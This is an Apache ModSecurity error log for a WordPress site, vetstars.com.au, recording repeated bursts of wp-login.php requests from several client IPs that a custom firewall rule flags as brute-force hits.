[Sun May 10 00:40:35.498521 2026] [:error] [pid 55186:tid 55252] [client 5.250.255.38:39366] [client 5.250.255.38] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.250.255.38, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "af9jg5PIspqZdXg7QQvNywAAAEM"], referer: https://vetstars.com.au/wp-login.php
[Sun May 10 00:40:36.706801 2026] [:error] [pid 55186:tid 55266] [client 5.250.255.38:39366] [client 5.250.255.38] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.250.255.38, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "af9jhJPIspqZdXg7QQvNzQAAAFE"], referer: https://vetstars.com.au/wp-login.php
[Sun May 10 00:40:37.881709 2026] [:error] [pid 55186:tid 55251] [client 5.250.255.38:39366] [client 5.250.255.38] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.250.255.38, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "af9jhZPIspqZdXg7QQvNzgAAAEI"], referer: https://vetstars.com.au/wp-login.php
[Sun May 10 00:40:39.093545 2026] [:error] [pid 55186:tid 55255] [client 5.250.255.38:39366] [client 5.250.255.38] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.250.255.38, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "af9jh5PIspqZdXg7QQvNzwAAAEY"], referer: https://vetstars.com.au/wp-login.php
[Sun May 10 00:40:40.289111 2026] [:error] [pid 55186:tid 55265] [client 5.250.255.38:39366] [client 5.250.255.38] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.250.255.38, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "af9jiJPIspqZdXg7QQvN0QAAAFA"], referer: https://vetstars.com.au/wp-login.php
[Sun May 10 00:40:41.639079 2026] [:error] [pid 55186:tid 55271] [client 5.250.255.38:39366] [client 5.250.255.38] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.250.255.38, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "af9jiZPIspqZdXg7QQvN0gAAAFY"], referer: https://vetstars.com.au/wp-login.php
[Sun May 10 00:40:42.852838 2026] [:error] [pid 55186:tid 55268] [client 5.250.255.38:39366] [client 5.250.255.38] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.250.255.38, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "af9jipPIspqZdXg7QQvN0wAAAFM"], referer: https://vetstars.com.au/wp-login.php
[Sun May 10 00:44:40.839242 2026] [:error] [pid 55182:tid 55226] [client 81.130.236.152:47438] [client 81.130.236.152] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 81.130.236.152, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "af9keDaxmP-S8ASrqQnzgwAAAM4"], referer: https://vetstars.com.au/wp-login.php
[Sun May 10 00:44:42.286964 2026] [:error] [pid 55182:tid 55223] [client 81.130.236.152:47438] [client 81.130.236.152] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 81.130.236.152, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "af9kejaxmP-S8ASrqQnzhAAAAMs"], referer: https://vetstars.com.au/wp-login.php
[Sun May 10 00:44:43.451422 2026] [:error] [pid 55182:tid 55215] [client 81.130.236.152:47438] [client 81.130.236.152] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 81.130.236.152, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "af9kezaxmP-S8ASrqQnzhQAAAMM"], referer: https://vetstars.com.au/wp-login.php
[Sun May 10 00:44:44.638799 2026] [:error] [pid 55182:tid 55233] [client 81.130.236.152:47438] [client 81.130.236.152] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 81.130.236.152, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "af9kfDaxmP-S8ASrqQnzhgAAANU"], referer: https://vetstars.com.au/wp-login.php
[Sun May 10 00:44:45.811133 2026] [:error] [pid 55182:tid 55228] [client 81.130.236.152:47438] [client 81.130.236.152] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 81.130.236.152, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "af9kfTaxmP-S8ASrqQnziQAAANA"], referer: https://vetstars.com.au/wp-login.php
[Sun May 10 00:44:46.996282 2026] [:error] [pid 55182:tid 55219] [client 81.130.236.152:47438] [client 81.130.236.152] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 81.130.236.152, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "af9kfjaxmP-S8ASrqQnzigAAAMc"], referer: https://vetstars.com.au/wp-login.php
[Sun May 10 00:44:48.173712 2026] [:error] [pid 55182:tid 55214] [client 81.130.236.152:47438] [client 81.130.236.152] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 81.130.236.152, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "af9kgDaxmP-S8ASrqQnziwAAAMI"], referer: https://vetstars.com.au/wp-login.php
[Sun May 10 00:44:49.417472 2026] [:error] [pid 55182:tid 55225] [client 81.130.236.152:47438] [client 81.130.236.152] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 81.130.236.152, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "af9kgTaxmP-S8ASrqQnzjAAAAM0"], referer: https://vetstars.com.au/wp-login.php
[Sun May 10 00:46:45.329897 2026] [:error] [pid 62831:tid 62839] [client 136.144.19.5:52359] [client 136.144.19.5] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 136.144.19.5, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "af9k9eYBNqNhtZ_l7qBYvwAAAAY"]
[Sun May 10 00:48:04.856806 2026] [:error] [pid 62831:tid 62857] [client 64.23.253.7:40004] [client 64.23.253.7] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 64.23.253.7, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "af9lROYBNqNhtZ_l7qBZXgAAABg"], referer: https://vetstars.com.au/wp-login.php
[Sun May 10 00:48:06.232318 2026] [:error] [pid 62831:tid 62844] [client 64.23.253.7:40004] [client 64.23.253.7] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 64.23.253.7, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "af9lRuYBNqNhtZ_l7qBZYwAAAAs"], referer: https://vetstars.com.au/wp-login.php
[Sun May 10 00:48:07.368037 2026] [:error] [pid 62831:tid 62836] [client 64.23.253.7:40004] [client 64.23.253.7] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 64.23.253.7, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "af9lR-YBNqNhtZ_l7qBZagAAAAM"], referer: https://vetstars.com.au/wp-login.php
[Sun May 10 00:48:08.474038 2026] [:error] [pid 62831:tid 62847] [client 64.23.253.7:40004] [client 64.23.253.7] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 64.23.253.7, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "af9lSOYBNqNhtZ_l7qBZbwAAAA4"], referer: https://vetstars.com.au/wp-login.php
[Sun May 10 00:48:09.557438 2026] [:error] [pid 62831:tid 62834] [client 64.23.253.7:40004] [client 64.23.253.7] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 64.23.253.7, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "af9lSeYBNqNhtZ_l7qBZdAAAAAE"], referer: https://vetstars.com.au/wp-login.php
[Sun May 10 00:48:10.658531 2026] [:error] [pid 62831:tid 62836] [client 64.23.253.7:40004] [client 64.23.253.7] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 64.23.253.7, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "af9lSuYBNqNhtZ_l7qBZegAAAAM"], referer: https://vetstars.com.au/wp-login.php
[Sun May 10 00:48:11.747826 2026] [:error] [pid 62831:tid 62852] [client 64.23.253.7:40004] [client 64.23.253.7] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 64.23.253.7, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "af9lS-YBNqNhtZ_l7qBZfQAAABM"], referer: https://vetstars.com.au/wp-login.php
[Sun May 10 00:48:12.811634 2026] [:error] [pid 62831:tid 62851] [client 64.23.253.7:40004] [client 64.23.253.7] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 64.23.253.7, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "af9lTOYBNqNhtZ_l7qBZgQAAABI"], referer: https://vetstars.com.au/wp-login.php
[Sun May 10 00:48:13.908531 2026] [:error] [pid 62831:tid 62836] [client 64.23.253.7:40004] [client 64.23.253.7] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 64.23.253.7, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "af9lTeYBNqNhtZ_l7qBZhwAAAAM"], referer: https://vetstars.com.au/wp-login.php
[Sun May 10 00:51:57.702656 2026] [:error] [pid 62831:tid 62850] [client 140.245.231.239:59726] [client 140.245.231.239] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 140.245.231.239, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "af9mLeYBNqNhtZ_l7qBbjwAAABE"], referer: https://vetstars.com.au/wp-login.php
[Sun May 10 00:51:59.119114 2026] [:error] [pid 62831:tid 62844] [client 140.245.231.239:59726] [client 140.245.231.239] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 140.245.231.239, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "af9mL-YBNqNhtZ_l7qBblAAAAAs"], referer: https://vetstars.com.au/wp-login.php
[Sun May 10 00:52:00.174211 2026] [:error] [pid 62831:tid 62835] [client 140.245.231.239:59726] [client 140.245.231.239] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 140.245.231.239, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "af9mMOYBNqNhtZ_l7qBbmgAAAAI"], referer: https://vetstars.com.au/wp-login.php
[Sun May 10 00:52:01.249627 2026] [:error] [pid 62831:tid 62834] [client 140.245.231.239:59726] [client 140.245.231.239] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 140.245.231.239, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "af9mMeYBNqNhtZ_l7qBbngAAAAE"], referer: https://vetstars.com.au/wp-login.php
[Sun May 10 00:52:02.303309 2026] [:error] [pid 62831:tid 62856] [client 140.245.231.239:59726] [client 140.245.231.239] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 140.245.231.239, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "af9mMuYBNqNhtZ_l7qBboAAAABc"], referer: https://vetstars.com.au/wp-login.php
[Sun May 10 00:52:03.326339 2026] [:error] [pid 62831:tid 62849] [client 140.245.231.239:59726] [client 140.245.231.239] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 140.245.231.239, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "af9mM-YBNqNhtZ_l7qBboQAAABA"], referer: https://vetstars.com.au/wp-login.php
[Sun May 10 00:52:04.347935 2026] [:error] [pid 62831:tid 62845] [client 140.245.231.239:59726] [client 140.245.231.239] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 140.245.231.239, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "af9mNOYBNqNhtZ_l7qBbogAAAAw"], referer: https://vetstars.com.au/wp-login.php
[Sun May 10 00:52:05.391401 2026] [:error] [pid 62831:tid 62855] [client 140.245.231.239:59726] [client 140.245.231.239] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 140.245.231.239, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "af9mNeYBNqNhtZ_l7qBbpAAAABY"], referer: https://vetstars.com.au/wp-login.php
[Sun May 10 00:56:16.166915 2026] [:error] [pid 62831:tid 62843] [client 37.238.97.72:54098] [client 37.238.97.72] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.238.97.72, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "af9nMOYBNqNhtZ_l7qBdRQAAAAo"], referer: https://vetstars.com.au/wp-login.php
[Sun May 10 00:56:17.787967 2026] [:error] [pid 62831:tid 62834] [client 37.238.97.72:54098] [client 37.238.97.72] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.238.97.72, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "af9nMeYBNqNhtZ_l7qBdTgAAAAE"], referer: https://vetstars.com.au/wp-login.php
[Sun May 10 00:56:19.006837 2026] [:error] [pid 62831:tid 62851] [client 37.238.97.72:54098] [client 37.238.97.72] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.238.97.72, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "af9nM-YBNqNhtZ_l7qBdVAAAABI"], referer: https://vetstars.com.au/wp-login.php
[Sun May 10 00:56:20.224727 2026] [:error] [pid 62831:tid 62843] [client 37.238.97.72:54098] [client 37.238.97.72] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.238.97.72, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "af9nNOYBNqNhtZ_l7qBdXQAAAAo"], referer: https://vetstars.com.au/wp-login.php
[Sun May 10 00:56:21.459304 2026] [:error] [pid 62831:tid 62848] [client 37.238.97.72:54098] [client 37.238.97.72] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.238.97.72, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "af9nNeYBNqNhtZ_l7qBdZAAAAA8"], referer: https://vetstars.com.au/wp-login.php
[Sun May 10 00:56:22.658975 2026] [:error] [pid 62831:tid 62842] [client 37.238.97.72:54098] [client 37.238.97.72] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.238.97.72, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "af9nNuYBNqNhtZ_l7qBdaAAAAAk"], referer: https://vetstars.com.au/wp-login.php
[Sun May 10 00:56:23.842568 2026] [:error] [pid 62831:tid 62846] [client 37.238.97.72:54098] [client 37.238.97.72] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.238.97.72, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "af9nN-YBNqNhtZ_l7qBdagAAAA0"], referer: https://vetstars.com.au/wp-login.php
[Sun May 10 00:56:25.055027 2026] [:error] [pid 62831:tid 62852] [client 37.238.97.72:54098] [client 37.238.97.72] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.238.97.72, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "af9nOeYBNqNhtZ_l7qBdbQAAABM"], referer: https://vetstars.com.au/wp-login.php
[Sun May 10 00:56:26.258428 2026] [:error] [pid 62831:tid 62845] [client 37.238.97.72:54098] [client 37.238.97.72] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.238.97.72, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "af9nOuYBNqNhtZ_l7qBdcgAAAAw"], referer: https://vetstars.com.au/wp-login.php
[Sun May 10 01:04:07.404512 2026] [:error] [pid 62831:tid 62835] [client 102.219.190.2:29569] [client 102.219.190.2] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 102.219.190.2, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "af9pB-YBNqNhtZ_l7qBgOQAAAAI"], referer: https://vetstars.com.au/wp-login.php
[Sun May 10 01:04:08.831351 2026] [:error] [pid 62831:tid 62848] [client 102.219.190.2:29569] [client 102.219.190.2] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 102.219.190.2, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "af9pCOYBNqNhtZ_l7qBgPwAAAA8"], referer: https://vetstars.com.au/wp-login.php
[Sun May 10 01:04:10.239697 2026] [:error] [pid 62831:tid 62851] [client 102.219.190.2:29569] [client 102.219.190.2] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 102.219.190.2, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "af9pCuYBNqNhtZ_l7qBgRAAAABI"], referer: https://vetstars.com.au/wp-login.php
[Sun May 10 01:04:11.553999 2026] [:error] [pid 62831:tid 62837] [client 102.219.190.2:29569] [client 102.219.190.2] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 102.219.190.2, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "af9pC-YBNqNhtZ_l7qBgSAAAAAQ"], referer: https://vetstars.com.au/wp-login.php
[Sun May 10 01:04:12.898530 2026] [:error] [pid 62831:tid 62844] [client 102.219.190.2:29569] [client 102.219.190.2] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 102.219.190.2, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "af9pDOYBNqNhtZ_l7qBgSgAAAAs"], referer: https://vetstars.com.au/wp-login.php
[Sun May 10 01:04:14.242250 2026] [:error] [pid 62831:tid 62843] [client 102.219.190.2:29569] [client 102.219.190.2] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 102.219.190.2, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "af9pDuYBNqNhtZ_l7qBgSwAAAAo"], referer: https://vetstars.com.au/wp-login.php
[Sun May 10 01:04:15.612696 2026] [:error] [pid 62831:tid 62838] [client 102.219.190.2:29569] [client 102.219.190.2] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 102.219.190.2, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "af9pD-YBNqNhtZ_l7qBgTAAAAAU"], referer: https://vetstars.com.au/wp-login.php
[Sun May 10 01:04:16.985216 2026] [:error] [pid 62831:tid 62836] [client 102.219.190.2:29569] [client 102.219.190.2] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 102.219.190.2, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "af9pEOYBNqNhtZ_l7qBgTgAAAAM"], referer: https://vetstars.com.au/wp-login.php
[Sun May 10 01:04:18.362653 2026] [:error] [pid 62831:tid 62855] [client 102.219.190.2:29569] [client 102.219.190.2] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 102.219.190.2, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "af9pEuYBNqNhtZ_l7qBgTwAAABY"], referer: https://vetstars.com.au/wp-login.php
[Sun May 10 01:08:13.097366 2026] [:error] [pid 62831:tid 62849] [client 3.151.60.165:58176] [client 3.151.60.165] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 3.151.60.165, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "af9p_eYBNqNhtZ_l7qBh2gAAABA"], referer: https://vetstars.com.au/wp-login.php
[Sun May 10 01:08:14.631506 2026] [:error] [pid 62831:tid 62847] [client 3.151.60.165:58176] [client 3.151.60.165] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 3.151.60.165, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "af9p_uYBNqNhtZ_l7qBh3gAAAA4"], referer: https://vetstars.com.au/wp-login.php
[Sun May 10 01:08:15.723495 2026] [:error] [pid 62831:tid 62855] [client 3.151.60.165:58176] [client 3.151.60.165] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 3.151.60.165, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "af9p_-YBNqNhtZ_l7qBh4AAAABY"], referer: https://vetstars.com.au/wp-login.php
[Sun May 10 01:08:16.824156 2026] [:error] [pid 62831:tid 62833] [client 3.151.60.165:58176] [client 3.151.60.165] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 3.151.60.165, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "af9qAOYBNqNhtZ_l7qBh4wAAAAA"], referer: https://vetstars.com.au/wp-login.php
